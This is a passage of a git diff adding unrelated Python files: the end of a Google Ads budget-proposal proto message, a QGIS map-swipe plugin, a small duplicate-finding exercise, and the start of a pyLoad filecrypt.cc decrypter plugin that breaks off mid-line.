approved end date time as a + well-defined type, e.g. FOREVER. + proposed_spending_limit_micros (int): + Immutable. The proposed spending limit in + micros. One million is equivalent to one unit. + proposed_spending_limit_type (google.ads.googleads.v8.enums.types.SpendingLimitTypeEnum.SpendingLimitType): + Immutable. The proposed spending limit as a + well-defined type, e.g. INFINITE. + approved_spending_limit_micros (int): + Output only. The approved spending limit in + micros. One million is equivalent to one unit. + approved_spending_limit_type (google.ads.googleads.v8.enums.types.SpendingLimitTypeEnum.SpendingLimitType): + Output only. The approved spending limit as a + well-defined type, e.g. INFINITE. + """ + + resource_name = proto.Field(proto.STRING, number=1,) + id = proto.Field(proto.INT64, number=25, optional=True,) + billing_setup = proto.Field(proto.STRING, number=26, optional=True,) + account_budget = proto.Field(proto.STRING, number=27, optional=True,) + proposal_type = proto.Field( + proto.ENUM, + number=4, + enum=account_budget_proposal_type.AccountBudgetProposalTypeEnum.AccountBudgetProposalType, + ) + status = proto.Field( + proto.ENUM, + number=15, + enum=account_budget_proposal_status.AccountBudgetProposalStatusEnum.AccountBudgetProposalStatus, + ) + proposed_name = proto.Field(proto.STRING, number=28, optional=True,) + approved_start_date_time = proto.Field( + proto.STRING, number=30, optional=True, + ) + proposed_purchase_order_number = proto.Field( + proto.STRING, number=35, optional=True, + ) + proposed_notes = proto.Field(proto.STRING, number=36, optional=True,) + creation_date_time = proto.Field(proto.STRING, number=37, optional=True,) + approval_date_time = proto.Field(proto.STRING, number=38, optional=True,) + proposed_start_date_time = proto.Field( + proto.STRING, number=29, oneof="proposed_start_time", + ) + proposed_start_time_type = proto.Field( + proto.ENUM, + number=7, + oneof="proposed_start_time", + enum=time_type.TimeTypeEnum.TimeType, + ) + proposed_end_date_time = proto.Field( + proto.STRING, number=31, oneof="proposed_end_time", + ) + proposed_end_time_type = proto.Field( + proto.ENUM, + number=9, + oneof="proposed_end_time", + enum=time_type.TimeTypeEnum.TimeType, + ) + approved_end_date_time = proto.Field( + proto.STRING, number=32, oneof="approved_end_time", + ) + approved_end_time_type = proto.Field( + proto.ENUM, + number=22, + oneof="approved_end_time", + enum=time_type.TimeTypeEnum.TimeType, + ) + proposed_spending_limit_micros = proto.Field( + proto.INT64, number=33, oneof="proposed_spending_limit", + ) + proposed_spending_limit_type = proto.Field( + proto.ENUM, + number=11, + oneof="proposed_spending_limit", + enum=spending_limit_type.SpendingLimitTypeEnum.SpendingLimitType, + ) + approved_spending_limit_micros = proto.Field( + proto.INT64, number=34, oneof="approved_spending_limit", + ) + approved_spending_limit_type = proto.Field( + proto.ENUM, + number=24, + oneof="approved_spending_limit", + enum=spending_limit_type.SpendingLimitTypeEnum.SpendingLimitType, + ) + + +__all__ = tuple(sorted(__protobuf__.manifest)) diff --git a/pool/shard008/Python/0079353_init__.py b/pool/shard008/Python/0079353_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..ace79c056ccd3b34b4564ab79337bb3767474f2b --- /dev/null +++ b/pool/shard008/Python/0079353_init__.py @@ -0,0 +1,79 @@ +# -*- coding: utf-8 -*- +""" +/*************************************************************************** +Name : MapSwipe tool +Description : Plugin for swipe active layer +Date : October, 2015 +copyright : (C) 2015 by Hirofumi Hayashi and Luiz Motta +email : hayashi@apptec.co.jp and motta.luiz@gmail.com + + ***************************************************************************/ + +/*************************************************************************** + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + ***************************************************************************/ +""" + +__author__ = 'Luiz Motta' +__date__ = '2015-10-14' +__copyright__ = '(C) 2018, Luiz Motta' +__revision__ = '$Format:%H$' + + +from qgis.PyQt.QtCore import QObject, pyqtSlot +from qgis.PyQt.QtGui import QIcon +from qgis.PyQt.QtWidgets import QAction + +from .mapswipetool import MapSwipeTool + +import os + +def classFactory(iface): + return MapSwipePlugin( iface ) + +class MapSwipePlugin(QObject): + + def __init__(self, iface): + super().__init__() + self.iface = iface + self.canvas = iface.mapCanvas() + self.action = None # Define by initGui + self.tool = MapSwipeTool( self.iface ) + self.prevTool = None # Define by run + + def initGui(self): + title = "Map swipe tool" + icon = QIcon( os.path.join( os.path.dirname(__file__), 'mapswipetool.png' ) ) + self.action = QAction( icon, title, self.iface.mainWindow() ) + self.action.setObjectName( "MapSwipeTool" ) + self.action.setWhatsThis( title ) + self.action.setStatusTip( title ) + self.action.triggered.connect( self.run ) + self.menu = "&Map swipe tool" + + # Maptool + self.action.setCheckable( True ) + self.tool.setAction( self.action ) + + self.iface.addToolBarIcon( self.action ) + self.iface.addPluginToMenu( self.menu, self.action ) + + def unload(self): + self.canvas.unsetMapTool( self.tool ) + self.iface.removeToolBarIcon( self.action ) + self.iface.removePluginMenu( self.menu, self.action ) + del self.action + + @pyqtSlot(bool) + def run(self, checked): + if self.canvas.mapTool() != self.tool: + self.prevTool = self.canvas.mapTool() + self.canvas.setMapTool( self.tool ) + else: + self.canvas.setMapTool( self.prevTool ) + diff --git a/pool/shard008/Python/0079354_ch04_duplicate.py b/pool/shard008/Python/0079354_ch04_duplicate.py new file mode 100644 index 0000000000000000000000000000000000000000..29acec4324f1889861123be1b2130ded96bdef8c --- /dev/null +++ b/pool/shard008/Python/0079354_ch04_duplicate.py @@ -0,0 +1,20 @@ + + +def duplicate(iterable): + fst = [] + snd = [] + for x in iterable: + if x not in fst: + fst.append(x) + elif x not in snd: + snd.append(x) + else: + pass + return snd + +print(duplicate([1, 2, 6, 1, 3, 2, 5])) +print(duplicate(range(10))) +print(duplicate([1, 1, 3, 1, 3, 3, 1, 2, 1, 5, 2])) + + + diff --git a/pool/shard008/Python/0079355_FilecryptCc.py b/pool/shard008/Python/0079355_FilecryptCc.py new file mode 100644 index 0000000000000000000000000000000000000000..d15d2ae4b96da54adb752ea1f7235dd7421875f6 --- /dev/null +++ b/pool/shard008/Python/0079355_FilecryptCc.py @@ -0,0 +1,180 @@ +# -*- coding: utf-8 -*- +# http://filecrypt.cc/Container/64E039F859.html + +import binascii +import re + +from Crypto.Cipher import AES +from urlparse import urljoin + +from module.plugins.Crypter import Crypter +from module.plugins.internal.CaptchaService import ReCaptcha + + +class FilecryptCc(Crypter): + __name__ = "FilecryptCc" + __type__ = "crypter" + __version__ = "0.11" + + __pattern__ = r'https?://(?:www\.)?filecrypt\.cc/Container/\w+' + + __description__ = """Filecrypt.cc decrypter plugin""" + __license__ = "GPLv3" + __authors__ = [("zapp-brannigan", "")] + + + # URL_REPLACEMENTS = [(r'.html$', ""), (r'$', ".html")] #@TODO: Extend SimpleCrypter + + DLC_LINK_PATTERN = r'